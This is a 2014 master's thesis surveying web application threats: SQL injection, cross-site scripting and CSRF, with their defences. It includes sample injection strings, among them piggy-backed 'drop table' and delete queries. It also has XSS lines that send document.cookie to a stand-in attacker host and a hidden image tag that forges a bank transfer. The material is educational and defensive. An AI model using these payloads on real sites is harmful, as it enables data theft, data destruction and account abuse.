A Survey on Threats and Vulnerabilities of Web Services

(1)

A Survey on Threats and

Vulnerabilities of Web

Services

A Thesis submitted in partial fulfillment of the requirements for

the degree of

Master of Computer Science and Engineering

of

Jadavpur University

by

Sandip Sarkar

Examination Roll No: M4CSE14-25

Class Roll No: 001210502028

University Registration No: 120885 of 2012-13

under the supervision of

Shri Mridul Sankar Barik

Department of Computer Science and Engineering

Jadavpur University

Kolkata, West Bengal, India. 2014

(2)

Department of Computer Science and Engineering, Faculty of Engineering and Technology,

Jadavpur University, Kolkata 700032

Certificate of Approval

This is to certify that the thesis entitled ”A Survey on Threats and Vulner-abilities of Web Services” is a bona-fide record of work carried out by Sandip Sarkar (Registration No: 120885 of 2012-13; Class Roll No: 001210502028; Ex-amination Roll No: M4CSE14-25) in partial fulfillment of the requirements for the award of the degree of Master of Engineering in Computer Science and En-gineering in the Department of Computer Science and EnEn-gineering, Jadavpur University during the period June 2013 to May 2014. It is understood that by this approval the undersigned do not necessarily endorse or approve any statement made, opinion expressed or conclusion drawn therein but approve the thesis only for the purpose for which it has been submitted.

Examiners:

(3)

To whom it may concern

This is to certify that the work embodied in this thesis entitled ”A Survey on Threats and Vulnerabilities of Web Services” has been satisfactorily com-pleted by Sandip Sarkar (Registration No: 120885 of 2012-13; Class Roll No: 001210502028; Examination Roll No: M4CSE14-25). It is a bona-fide piece of work carried out under my supervision and guidance at Jadavpur University, Kolkata, for partial fulfillment of the requirements for the awarding of the Mas-ter of CompuMas-ter Science and Engineering degree of the Department of CompuMas-ter Science and Engineering, Faculty of Engineering and Technology, Jadavpur Uni-versity, during the academic year 2013-14.

Mridul Sankar Barik, Assistant Professor, Department of Computer Science and Engineering, Jadavpur University.

(Supervisor)

Forwarded By:

Prof. Sivaji Bandyopadhyay, Head of the Department,

Department of Computer Science and Engineering, Jadavpur University

Prof. Sivaji Bandyopadhyay, Dean,

Faculty of Engineering and Technology, Jadavpur University

(4)

Department of Computer Science and Engineering, Faculty of Engineering and Technology,

Jadavpur University, Kolkata 700032 Certificate of Approval

Declaration of Originality

and Compliance of Academic Ethics

I hereby declare that this thesis titled ”A Survey on Threats and Vulnerabil-ities of Web Services” contains literature survey and original research work by me, as part of my degree of Master of Engineering in Computer Science and En-gineering in the Department of Computer Science and EnEn-gineering, Jadavpur University. All information have been obtained and presented in accordance with academic rules and ethical conduct. I also declare that, as required by these rules and conduct, I have fully cited and referenced all materials and results that are not original to this work.

Sandip Sarkar,

Examination Roll No: M4CSE14-25 Class Roll No: 001210502028 Registration No: 120885 of 2012-13

Masters of Computer Science and Engineering

Thesis Title: A Survey on Threats and Vulnerabilities of Web Services

(5)

Acknowledgment

I would like to thank and appreciate to my advisor, Shri Mridul Sankar Barik for his kind attention, guidance, patience and support during this research and the preparation of this thesis. His guidance encouraged me to work hard and inspired me for finding new way of thinking. I feel very proud that I got the opportunity to work under Shri Mridul Sankar Barik. I would like to thank all the faculty members of the Department of Computer Science and Engineering for their continuous support. In addition, my special thanks to Prof. Chandan mazumdar for allowing me to work in the Centre for Distributed Computing, Jadavpur University (CDC-JU). I am grateful to Prof. Sivaji Bandyopadhyay, Head of the Department, Computer Science and Engineering for his constant encouragement and support. Finally thanks to all members of the CDC-JU for their valuable comments and suggestions.

Sandip Sarkar, Examination Roll No: M4CSE14-25 Class Roll No: 001210502028 Registration No: 120885 of 2012-13 Masters of Computer Science and Engineering

(6)

List of Figures

1.1 Structure of URL . . . 3

2.1 Different types of SQL injection . . . 9

2.2 Reflected XSS attack . . . 16

2.3 Persistence XSS attack . . . 17

2.4 User Authentication in Web Application . . . 22

2.5 CSRF Attack . . . 23

2.6 Preventing CSRF using secrete token . . . 26

4.1 Attack tree of web attack . . . 46

4.2 Attack tree of SQL injection . . . 47

4.3 attack tree of Broken authentication and session management . . 48

4.4 Attack tree of CSRF attack . . . 49

4.5 Attack tree of security mis-configuration . . . 49

4.6 Attack tree of XSS attack . . . 50

4.7 Defence tree of SQL injection . . . 51

4.8 Defense tree of Broken authentication and session management . 52 4.9 Defense tree of XSS attack . . . 52

4.10 Defense tree of Security Misconfiguration . . . 53

(10)

List of Tables

1.1 Web Vulnerability Report . . . 4

1.2 OWASP Top 10 Application Security Risks 2013 . . . 5

2.1 SQL injection Statistical report . . . 8

2.2 Input parameter for SQL injection . . . 9

2.3 Encrypted username and password using md5 . . . 13

2.4 XSS attack statistical report . . . 15

2.5 CSRF attack statistical report . . . 21

(11)

Abstract

From the last two decades, the web has evolved into an integral part of our daily lives. Web application is used in banking, school and colleges. At the same time web application is very interesting topic for the attacker to collect sensitive data. For this reason web application is very dangerous place. For web developer it is very difficult to find those vulnerability. Till now many people proposed many techniques to protect the web application. In this thesis we discuss many type of web attack like SQL injection, XSS attack , CSRF attack and other type of attack. Here we also discuss about many web attack tool and how to find the vulnerabilities using those web attack tool. Finally we are trying to build attack tree and defense tree of web attack.

(12)

Chapter 1

Introduction

1.1 Background

1.2 Web application

Before 1990 the web pages are mainly in static page. In those time user have very limited access power to the web page. After 1990 this limitation was re-moved when web servers were modified to allow communication with server-side custom scripts. Web application is an application that is accessed by using a web browser to communicate with a web server. Web applications are written in many languages, they run on every kind of operating system. In web appli-cation inputs are communicated using GET, POST, and similar methods. Web application is an example of client/server architecture. Web browser (client) sends a request to the web server and waits for a response. The server receives the request, generates a response, and sends it back to the web browser (client). Client and server communicate using protocol (HTTP or HTTPS).

1.2.1 HTTP Protocol

Using HTTP protocol web browsers take necessary actions against massages means it defines how massages are formatted and transmitted. There are mainly two methods in the HTTP protocol. Those are GET and POST method. For attacking web applications, you will be dealing almost exclusively with the most commonly used methods: GET and POST. There are some important differ-ences between these methods. In GET method web browsers send parameters to the server in the URL field. For these reasons, the query string should not be used to transmit any sensitive information; anyone can see the sensitive infor-mation in the URL field. The POST method is more secure. With this Method, request parameters are send mainly in the body of the message.

(13)

1.2.2 HTTP Cookies

Cookies are a key part of the HTTP protocol. Cookies are created when user visits a website then cookies keep track of user’s movement in the site. A cookie can keep information in the user’s browser until it is deleted. If a person has a login and password, this can be set as a cookie in their browser so they do not have to re-login to your website every time they visit. Cookies normally consist of a name and value pair. The Set-Cookie header can also include many optional attributes, which can be used to control how the browser handles the cookie.

1.2.3 HTTP Session

Session represents the time between the user’s entry time in the website and exit time in the website. When the user enters into the website for the first time then session ID is created. Session is deleted when user closes the website. So, if you had a site requiring a login, this couldn’t be saved as a session like it could as a cookie, and the user would be forced to re-login every time they visit. The main difference is that session data is stored on the server, while cookie data is stored on the client. Therefore, a client can easily modify the cookie contents, but will have to work way harder to modify the session contents. Sessions use a session identifier to locate a particular user’s session data. This session identifier is normally stored in the user’s web browser in a cookie, but the sensitive data like the users ID, name, etc. will always stay on the server.

1.2.4 HTTPS

The HTTP protocol uses plain TCP as its transport mechanism, which is un-encrypted and so can be intercepted by an attacker who is suitably positioned on the network. HTTPS is essentially the same application-layer protocol as HTTP, but this is tunneled over the secure transport mechanism, Secure Sock-ets Layer (SSL). This protects the privacy and integrity of all data passing over the network, considerably reducing the possibilities for noninvasive intercep-tion attacks. HTTP requests and responses funcintercep-tion in exactly the same way regardless of whether SSL is used for transport.

(14)

Figure 1.1: Structure of URL

1.2.5 URL

In web application we need a way to specify the location of resources and web pages. Uniform Resource Locators (URLs) are short strings that identify the address of a resource on the web. The first place of the URL specify the proto-col(HTTP or HTTPS) which is used.

1.2.6 Architecture of web application

1.2.7 Two-Tier Architecture

The two-tier architecture is based on Client Server architecture. The two-tier architecture is like client server application. The direct communication takes place between client and server. Because of tight coupling a 2 tiered application will run faster.

The Two-tier architecture is divided into two parts:

• Client Application (Client Tier)

• Database (Data Tier)

1.2.8 Three-Tier Architecture

Three-tier architecture typically comprise a presentation tier, a business or data access tier, and a data tier. Three layers in the three tier architecture are as follows:

1. Presentation tier

Presentation tier is also called client layer which contains UI part of our application. This layer is used for the design purpose where data is pre-sented to the user or input is taken from the user. For example designing registration form which contains text box, label, button etc.

(15)

2. Business or data access tier

In business layer all business logic written like validation of data, calcula-tions, data insertion etc. This acts as a interface between Client layer and Data Access Layer. This layer is also called the intermediary layer helps to make communication faster between client and data layer.

3. Data tier

In Data tier information is stored and retrieved. Data in this tier is kept independent of application servers or business logic. The information is passed back to the Business tier for processing and then eventually to the user.

1.3 Attacks against Web Applications

In the early days of the Internet, the World Wide Web consisted only of web sites. These were only containing static documents, and web browsers were retrieving and displaying those documents. Most sites did not authenticate users, because web application is open to all users. If an attacker attacks a web server, he would not normally gain access to any sensitive information, all information is open to all. There is no sensitive information. In that time an attacker can modify the page[1].

Now a days the use of web application is used very tremendously on the other hand the attack on web application is increased and web application contain many sensitive information. Web application sends the input to the server using GET and POST method. An attacker can access private information or system resources using malicious code. Information gathered can include social security numbers, dates of birth, and maiden names, which are all often used in identity theft. Another popular target for attackers is credit card data which left unprotected and unencrypted can be used to cause significant damage to organizations most valued assets, their customers. In the table we see the time on which the vulnerability is first reported.

First Reported Vulnerability Dec 1998[2] SQL injection Feb 2000[3] Cross-site scripting

Jul 2005[4] DOM-based cross-site scripting Table 1.1: Web Vulnerability Report

(16)

In the table 1.2 we see the top 10 web vulnerability of the year 2013. [5] Top 10 Web Attack in the year 2013

A1 Injection

A2 Broken Authentication and Session Management A3 Cross-Site Scripting (XSS)

A4 Insecure Direct Object References A5 Security Misconfiguration

A6 Sensitive Data Exposure A7 Missing Function Level Access Control

A8 Cross-Site Request Forgery (CSRF) A9 Using Known Vulnerable Components

A10 Unvalidated Redirects and Forwards

Table 1.2: OWASP Top 10 Application Security Risks 2013

Web applications frequently exhibit web-specific vulnerabilities. There are several sites that collect vulnerability reports.

1.4 Motivation

Web-based programs or web application are now a days very essential applica-tion. So for the attacker web application is very important topic to attack and collect sensitive data. According to a recent analysis of CVE XSS attack, SQL injection, CSRF attack and Broken authentication and session management are the most dangerous attack on the web application. It is a very challenging for developer to prevent from those attack. Through my survey I found that many types of attack on the other field are represented using attack tree. Those at-tack are prevented using defense tree. Some researchers are trying to represent SQL injection attack and CSRF attack using attack tree. So we are also trying to represent all type of web attack using attack tree and also trying to prevent those attack using defense tree.

1.5 Thesis Organization

This thesis contains six chapters.

Chapter 2

In this chapter we discuss different types of web attacks and also discuss the prevention of the web attack. SQL injection, CSRF attack and XSS attack are the most dangerous attack in web application.

Chapter 3

In this chapter we discuss about the penetration testing in web application. We summarize the working principal of many attack tool like havij, acunetix,

(17)

SQLmap and many others. Havij and SQLmap are SQL Injection tools that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page. Acunatix is used to find the XSS, CSRF vulnerabilities. We also give the comparison of those web attack tools.

Chapter 4

Here we discuss the importance of attack tree and defense tree. We represent different types of web attack using attack tree. We define defense trees by extending attack tree with countermeasures.

Chapter 5

This chapter concludes and describes some future directions based on this work.

(18)

Chapter 2

Attacks Against Web

Applications

There are many types of web attacks present in the web application. Here the major type of web attack are discussed. SQL injection, XSS attack, CSRF attack are top most web attack in the web application.

2.1 SQL Injection

2.1.1 Introduction

SQL injection is one of the most devastating vulnerabilities. Using SQL injection attackers can collect sensitive information stored in an applications database, including handy information such as usernames, passwords, names, addresses, phone numbers, and credit card details. Through a SQL Query attackers can add, modify or retrieve data or delete critical information in a database without proper authorization, attackers can also execute arbitrary commands with high system privilege in the worst case. SQL injection is an attack in which SQL code is inserted or appended into application user input parameters that are later passed to a back-end SQL server for parsing and execution. Any procedure that constructs SQL statements could potentially be vulnerable, as the diverse nature of SQL and the methods available for constructing it provide a wealth of coding options. The primary form of SQL injection is to direct insertion of code into parameters that are concatenated with SQL commands and executed. In the other type of attack an attacker injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL command, the malicious code is executed. In the following table we see the statistical report of SQL injection attacks from 2002 year to 2014 [1].

(19)

Year Total Percentage 2002 7 0.32 2003 11 0.72 2004 9 0.37 2005 50 1.01 2006 91 1.38 2007 252 3.87 2008 1,092 19.39 2009 948 16.54 2010 515 11.10 2011 289 6.96 2012 237 4.48 2013 145 2.80 2014 26 3.83

Table 2.1: SQL injection Statistical report

2.1.2 Different types of SQL injection

1. Tautology

In this technique attackers use regular expressions [6] [7]. Attacker injects malicious code for which result is always true so that queries always return results upon evaluation of a WHERE conditional. A common example would to be inject a ”or 1=1” into the ”login” parameter.

In a login page mainly we see two user input field (Username, Password). If the user gives the proper Username and Password then there is no error. If the user does not give the proper information then the user see an error massage.

If the attacker injects the code into the Username field like tathagata ’OR’1=1- -, which will create the following statement:

select * from user where name = ’ tathagata’OR’1=1- -’ and password =’ ’

When the sql command is executed then the database server only checks the username field and successfully bypass the authentication mechanism. Likewise if the attacker injects the code into the username field like that ”sandip/*” and inject ”*/” into the password field then it will create the following statement:

(20)

Figure 2.1: Different types of SQL injection For the reason the (/* and password=*/) does not execute.

Likewise if the attacker injects the code into the Username field like that sandip and inject into the password field then it will create the following statement:

select * from user where name = ’ sandip/#’ and password =’#/ ’ select * from ’student’ where username = ’sandip’ and

password = ’jadavpur’ or username between ’A’ and ’z’; select * from student where username=’sandip’ and address= ’raiganj or 1=1’

Name field Password field sandip’OR’1=1– xxx

sandip’/* */’ sandip’/# #/’

Table 2.2: Input parameter for SQL injection 2. Union Query

SQL injection can be done using UNION SELECT statement. The UNION statement allows the chaining of two separate SQL SELECT queries that have nothing in common. For example, consider the following SQL query:

select * from ’student’ where username = ’sandip’ union all select * from student;

(21)

another example is like this

select * from users where loginname = ’’

union select * from employee -- ’ and pwd = ’anypwd’;

The two dashes comments out the rest of the text. Therefore, the query becomes the union of two SELECT queries. The first SELECT query returns a null set because there is no matching record in the table USERS. The second query returns all the data from the table EMPLOYEE. As the result displays, although the labels indicate that each row of the result contains the id, the login name, the password and the email, the data are actually from the table EMPLOYEE. Therefore, the data displayed in each row are the id, first name, last name and the employees position id. 3. Piggy-backed Query

In this technique malicious users supply several different queries within a single string of code. For example, the threat agent may add a query delimiter such as ”;”, and then follow up with a command of his/her own, such as ”drop table<name>”, which effectively deletes the table specified.

select name from student where pass=’abc’;drop table user; OR

update employee set name=’sandip’ where id =’123’; delete from employee WHERE id =’456’;

4. Blind Injection

When a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker then attackers use blind injection attacks [8].

SQL Injection vulnerabilities are often detected by analyzing the error messages received from the database. SQL Injection vulnerabilities are divided into two groups:

1. Standard SQL Injection;

2. Double Blind SQL Injection/Time-based. (a) Standard Blind:

Sometimes it is impossible to exploit SQL Injection vulnerability us-ing classical technique that involves application of< union > opera-tor and separaopera-tor<;>. In this situation, Standard Blind sql injection

(22)

is implemented. It allows one to write and read files and get data from tables provided only the entries are read symbol-by symbol. This kind of attack can further be classified as:

i. Classical Based Blind SQL Injection

This attack is based on analysis of true/ false logical expression. If the expression is true, then the web application will return certain content, and if it is false, the application doesnnot return anything.

ii. Error-Based Blind SQL Injection

The error based blind SQL Injection is the quickest technique of SQL Injection exploitation. The august of this method is that the valuable information of various DBMSs can be stored into the error messages in case of receiving illegal SQL expres-sion. This type of sql injection is useful when the tester for some reason cant exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. Attackers are trying to extract some data from the database and show it in the error message.

(b) Double Blind SQL Injection

Double blind SQL Injection is a technique in which all error messages and vulnerable queries are excluded from the page returned by the web application. Exploitation of this kind of vulnerability uses only time delays under SQL query processing; i.e., it is false if an SQL query is executed immediately, but if it is executed with an N-second delay, then it is true.

5. Inject into url field

When the GET request method is specified, as this example illustrates, the browser sends the form data as the query string of the URL. For ex-ample, consider the following form.

When user enters ”sandip” into the user field and ”sarkar” into the pass-word field then the following URL is created.

/localhost/user/loginget.php?=sandip’OR’1=1--&pass=sarkar123

6. Executing Multiple Statements

An attacker can also inject sql query into the input field. Here we see insert command is written into the email-id field. when the query is executed the value is inserted into the table.

(23)

select * from student where email.id= ’sandip.com’; insert into student(name,email.id) values(’bob’,’sss’);’

Likewise we can also update the table inserting the update command into the input field.

select name from student where password=’x’

OR address LIKE ’\%d’\%’;UPDATE student SET name=’tamal’ where password=’tintin’;

7. Additional Select Query into Input Field

We can inject into input field using additional select query like this:

Select * from student where name=’c’;select * from ss’; and password=’jalu’;

When the command executed it shows two tables. First table shows the information from student table whose student name is C. Other table shows the name of the user from ss table.

2.1.3 Protection

1. Using String analysis

We can filter the user name filed using ereq() function. The ereg() function executes a case-sensitive search of a string for a defined pattern, return-ing the length of the matched strreturn-ing if the pattern is found and FALSE otherwise. In the following example we only accept the username consist of number and alphabet number. The length of the username should be within 4 to 10. This rule is also for the password [9].

if(!eregi("^[a-zA-Z0-9]{4,10}\$",$username)) echo "invalid username<br>";

else

echo "Valid username<br>";

if (!eregi("^[a-zA-Z0-9]{4,10}\$", \$password)) echo "password is malicious<br>";

else

echo "Valid password!<br>";

we can also check whether the username field include any space or not using preq match() function.

(24)

if(preg_match("/\ \b/i",$username,$match)) print "sql injection occure<br>";

We can also check the username and password field whether contain apace or not [10].

$word1= str_word_count($username); if($word1>1)

echo "wrong username<br>"; $word2= str_word_count($password); if($word2>1)\\

echo "wrong password<br>";

2. Using encryption

The query after submitting the input filed by the user looks like this.

select * from user where name = ’’ and password =’’

We can prevent SQL injection using encryption. If we encrypt the user-name and password field then tautology and pigy-back query does not occur. Tautology based attacks are mainly occur if the attacker modify the username filed like this sandip’OR’1=1–,sandip’/*, sandip’/#. If we encrypt the username and password using md5 then username and password are looks like this.

username encrypted username Password encrypted Password sandip’OR’1=1- - f791e78564b..7292550a9 xxx f561aaf6ef0..8bb46a4ccb3ad

sandip’/* ae5da1222bd..89e4164b9adae */’ a7eacf509232c41948..6737f9c6 sandip’/# cf5aa77c7e1fc..286818f53dbd #/’ 1cd8039db3..5c3134240eb5

Table 2.3: Encrypted username and password using md5

For this reason the query does not return always the true value for tautol-ogy based attack. To prevent piggy-back query we encrypt the password field.

3. Use Minimum Privileges

If we give different privileges to the different users then the database is more secure. For example, if a user only requires read-access to the database, does not permit the user to execute UPDATE or INSERT queries. Or more realistically, limit write access to those tables that are expected to change perhaps the session table and the user accounts table.

(25)

4. Using prepare statement

To prevent SQL injection developer must not allow user to modify the structure of the SQL query. The best way for this is to use prepare state-ment. The prepare statement consists of two stages: prepare and execute. In the prepare statement the database server checks the syntax of the SQL query. In a prepared statement, data is separated from the SQL command, so that database server checks every data input separately.

$stmt=$dbConnection->prepare(’SELECT * FROM user WHERE id =?’); $stmt->bind_param(’s’, $id);

$stmt->execute();

In this stage SQL is parsed, transformed into abstract syntax tree, many transformations are applied on said tree to produce a more optimal version of it, either by eliminating useless clauses. Then the resulting tree is transformed into the stream of instructions that the server will execute each time the EXECUTE command will be issued.

The SQL injection cannot work on prepared query because when the mali-cious data is submitted by the unauthorized user, SQL parsing has already been done, so syntactic issues cannot occur anymore. In other words, the data input by a potential hacker is sent separately from the prepared query statement. This means that there is absolutely no way that the data input by a hacker can modify the syntax of the SQL query. Such a program transformation would ensure, without the overhead of additional monitoring, that attacks cannot be successful.

5. SQL Error Handling

The handler function takes the query and error message generated by the database and creates an error string based on that information. The error string is passed through to ensure that none of the characters in the string are rendered as HTML, and the string is appended to a log file.

The next step depends on whether or not the script is working in debug mode or not. If in debug mode, the error message is returned and is likely displayed on-screen for the developer to read. In production, though, the specific message is replaced with a generic message, which hides the root cause of the problem from the visitor.

(26)

2.2 Cross Site Scripting

2.2.1 Introduction

A cross-site scripting attack is one of the top security attacks. It is also known as XSS. In this attack, the attacker injects the code into the output application of web page which will be sent to a visitor’s web browser and then, the code which was injected will execute automatically or steal the sensitive information (cookies) from the user input. This attack also works when users visit the place which is infected and the malicious code will execute directly in the user’s computer. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. XSS allows the attacker to inject malicious code, because developer trusts user inputs, and does not filter the input data. For this reason malicious code will executed into the client browser. In OWASP Top Ten report 2013, cross-site scripting was ranked first but it ranked third in OWASP Top Ten report 2014. In the following table we see the statistical report of cross-site scripting attacks from 2002 year to 2014 [1].

Year Total Percentage 2000 1 0.10 2001 0 0.00 2002 33 1.53 2003 32 2.10 2004 21 0.86 2005 31 0.63 2006 101 1.53 2007 344 5.28 2008 790 14.03 2009 821 14.32 2010 594 12.80 2011 454 10.94 2012 720 13.61 2013 616 11.88 2014 97 14.29

Table 2.4: XSS attack statistical report

In general, XSS attacks are easy to execute, but difficult to detect and pre-vent. One reason is the high flexibility of HTML encoding schemes, giving the attacker more benefits. Sometimes server-side input filters that should prevent malicious scripts from being injected into trusted sites cannot detect the XSS attack. Also client-side solution is not easy because of the difficulty of identi-fying JavaScript code as being malicious. In October 2005, the highly popular social-networking site MySpace was hit with this cross-site scripting worm that spread exponentially.

(27)

2.2.2 Different type of XSS attack

1. Non-Persistent

This is also known as reflected XSS attack. It takes place when malicious code or scripts are output by a vulnerable web server as part of a valid HTTP request. In this type of attack the actual malicious code is not stored on the server but rather gets passed through it and presented to the victim, is the more popular XSS strategy of the two delivery methods. The attack is launched from an external source, such as from an e-mail message or search page. If one searches for a string, the search string will display on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will occur. An example of a reflected XSS attack is a case in which user visits a malicious link to a vulnerable server that injects (reflects) the malicious code back to the user’s browser. The browser then executes the code or script because the vulnerable server is usually a known or trusted site.

Figure 2.2: Reflected XSS attack 2. Persistence

Persistent XSS attack is also known as stored attack. In this attack the injected script is permanently stored on the target servers, such as in a database, blog entries, web forum posts or other sections on the website

(28)

which required user input at one time. Later, when the user enters in the malicious page then the malicious code is executed in the user’s web browser. The browser executes the code or script because the vulnerable server is usually a known or trusted site. For example, an attacker can post a message containing the malicious script to the message board, which stores and subsequently displays it to other users, causing the intended damage. Stored cross-site scripting are typically more serious than reacted vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst appli-cation users [11] [12] [13] [14] [15] [16] [16] [17] [18].

Figure 2.3: Persistence XSS attack 3. DOM based attack

DOM based attacks are different from reflected and persistence XSS at-tack, Reflected and Stored XSS are executed into the server side while DOM based XSS are executed into the client side. DOM based XSS is a type of Cross-site scripting attack that occurs when client-side scripts manipulate the page’s DOM, allowing an attacker to run JavaScript in the victim’s browser. This class of XSS is distinct from Reflective XSS and Stored XSS , since the server is not returning executable JavaScript

(29)

to the browser. Instead, data that has been sanitized by the server, or possibly never sent to the server, is converted to executable JavaScript by the existing code running on the page.

2.2.3 Example of XSS attack

This is the simple code of a web page where an user can post comments and see his comments in the web page.

<?php if(isset($_POST[’input’])) { echo $_POST[’input’]; } ?>

Without any filtering, a hacker could submit the following through the form which will generate a popup in the browser with the message ”hacked”.

This example, despite its being malicious in nature, does not seem to do much harm. But think about what could happen if the JavaScript code was written to steal a user’s cookie and extract sensitive information from it? There are far worse XSS attacks than a simple alert() call. Cross-site scripting attacks can be grouped in two major categories, based on how they deliver the malicious payload: non-persistent XSS, and persistent XSS.

Attacker can comment in the post field as follows:

This type of comments redirects the web-page to www.Google.com page.

2.2.4 XSS mechanism

The tag field is very interesting for the attacker to perform the attack. The following fields are most dangerous.

(30)

Mainly attackers inject code in the link site. When the victim see the image link but the attacker injects code in the image link, which is as follows:

document.location=http://attacker/page?+document.cookie

document.write("<img src=http://attacker/img.jpg"+document.cookie">") location.href="http://attacker/page?"+document.cookie>

Using this malicious code attacker can steal the cookies.

2.2.5 Protection

1. Server Side Protection

XSS attack can be prevented using server-side protection. Depending on the previous data developer can block, replace, escape, encode and rewriting to prevent XSS attack. Modern web applications are using these techniques against external attacks.

(a) Blocking

The best way to prevent cross-site scripting attack is to block the request which contains known value. Modern web application shows warning pages when invalid or potentially dangerous characters and sub-strings are submitted to the application. Previous versions of Internet Explorer do not have the XSS filter. If we consider Google chrome, we see that it is more secure than internet explorer. Web application blocks the request if a request header is too long or the cookie headers exceed the allowed length.

(b) Stripping and Replacing

Another way to prevent XSS attack is stripping and replacing. In PHP we use strip tags() function to protect against common HTML injection and XSS attacks. The strip tags() function strips a string from HTML, XML and PHP tags. By using modifying functions and replacement functions we replace the string with regular expressions (such as ereg replace and preg replace).

(31)

(c) Encoding

Encoding is a very efficient way to prevent cross-site scripting. In PHP there are two functions labeled htmlentities() and htmlspe-cialchars(). Those usually do not encode any arbitrary character into an entity representation. Only a selected range of considerably dangerous characters will be encoded.

2. Client side prevention

In recent years, browser vendors and researchers have tried to develop client-side filters to mitigate these attacks. Modern web browsers are more secure to prevent cross-site scripting attack.

(a) Zone security

Browsers today claim to have the ability to set JavaScript policies for any particular website. In Internet Explorer, for example, both versions 7 and 6 offer very minimal fine-grained security against JavaScript based attacks. Zone level security can be configured in the browser options and allows for the user explicitly adding a web-site to a particular zone; thereby enabling or disabling all JavaScript on that site. This approach relies on the user to make all the de-cisions; and provides no help. Also, since most sites today require JavaScript to be enabled to work properly, disabling all JavaScript may not even be an option for the user.

(b) XSS Filter

Internet Explorer 9 includes a cross-site scripting (XSS) filter that can detect these types of attacks. If vulnerabilities are found, Internet Explorer disables the harmful scripts. The XSS filter claims to detect only reflected XSS attacks.

(c) Disabling JavScript

For end users, the most effective way to prevent cross-site scripting attacks is to disable all scripting languages in their web browsers. The downside of this is the resulting loss of functionality. Many web sites today heavily utilize JavaScript for functionality, and may not work properly if JavaScript is disabled. Users can also be selective about the websites they visit. In many online banking programmers disable javascript [19].

2.3 Cross-Site Request Forgery

2.3.1 Introduction

Cross Site Request Forgery (CSRF) allows an attacker to perform unauthorized activities without user knowledge. Cross Site Request Forgery is one of the widely exploited vulnerability in web sites. In this attack, the trust of web

(32)

application in its authenticated users is exploited and it allows an attacker to make arbitrary HTTP requests in the user’s identity. If the victim user is currently logged into the target website, the browser will append authentication tokens such as cookies to the request, authenticating the malicious request as if it is issued by the user. It is mainly seen in the financial websites. An attacker can use CSRF attacks to perform financial transactions with the victim user’s account, such as purchasing a stock, purchasing products. A CSRF attack does not exploit any browser vulnerability. As long as a user is logged into the vulnerable web site, simply browsing a malicious web page can lead to unintended operations performed on the vulnerable web site. Launching such CSRF attacks is possible in practice because many users browse multiple sites in parallel, and users often do not explicitly log out when they finish using a web site. A CSRF attack can also be carried out without a user visiting a malicious webpage. CSRF appeared in the Open Web Application Security Project (OWASP) top 10 web application threats in 2013 (ranked at 13). In the following table we see the statistic of cross-site request forgery attack from 2002 year to 2014 [1].

Year Total Percentage 2002 1 0.05 2003 0 0.00 2004 0 0.00 2005 1 0.02 2006 3 0.05 2007 36 0.55 2008 78 1.38 2009 113 1.97 2010 75 1.62 2011 55 1.33 2012 153 2.89 2013 120 2.31 2014 23 3.39

Table 2.5: CSRF attack statistical report

2.3.2 User Authentication in Web Applications

Http does not identify the requests coming from the user who is already login into a web page because http is a stateless protocol. We can overcome this problem using cookies. Client can set the cookies. Whenever the client requests the server, for each request these cookies are added to the request. Cookie is a small type of data which is stored in the client web browser. Cookies perform essential functions in modern browser. Using authentication cookies the server knows whether the user is logged in or not in the web page. A hacker can read the cookies and also can modify them. Using cookies a hacker can perform

(33)

Figure 2.4: User Authentication in Web Application

cross-site scripting and cross-site request forgery attack. Cookies have six fields (name, value, expiry, path, domain, secure connection, assign).

2.3.3 CSRF Attack Mechanism

XSRF attacks only work when a cookie is used to store the session ID. The reason is that the browser automatically includes cookies into requests, even when a user clicks on a simple link. If the attacker traces the session ID then the significance of the user and the attacker is the same. One of the main goals of the cross-site scripting is to know the session ID inserting the javascript code. In the CSRF attack the server cannot distinguish between the request from the attacker and the legitimate user. Suppose a user wants to transfer money to an account then the user sends the request to the bank server with its session ID. An attacker can steal the session ID and send the request to the bank server and he can also put his account number. For this reason the bank server deduct the money from the user and credit to the attacker account. When the client makes a request to the server for the first time then the server generates a new unique cookie and sends it back to the client. The client saves the cookie with the domain name. Next time the Browser sends the request with the cookie [20]. Now assume that the victim, while still logged in to the online banking site, opens another tab/window in the same browser, for a malicious site (lets call it www.attacker.com). This could be due to clicking on a malicious link sent to the victim via IM or email. Attacker sends an image link via email which

(34)

Figure 2.5: CSRF Attack contains the following malicious HTML code:

<IMG SRC="http://fictiousbank/transfer.cgi?

from=35367021&to48412334&amount=5000&date=05072010" width="0" height="0">

.

When the victim’s browser loads this page, it will try to display the specified zero-width, zero-height (thus invisible) image as well, by making a request to the URL specified in the src attribute. Since the customer is still logged in to the banking site, an amount of 5,000 from account 35367021 will be transferred to account 48412334, which could belong to the attacker. The bank site sees this request as completely legitimate, since the browsers session cookie tells it that the user authenticated himself with the correct credentials!

(35)

2.3.4 Prevention Measures That Do NOT Work

1. Using a Secret Cookie

Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Fur-thermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identi-fier does not verify that the end-user intended to submit the request. 2. Only Accepting POST Requests

Applications can be developed to only accept POST requests for the ex-ecution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST re-quest, such as a simple form hosted in an attacker’s website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else. 3. Multi-Step Transactions

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transac-tion, then CSRF is possible.

4. URL Rewriting

This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim’s session ID. However, the users credential is exposed over the URL.

2.3.5 Difference between CSRF and XSS

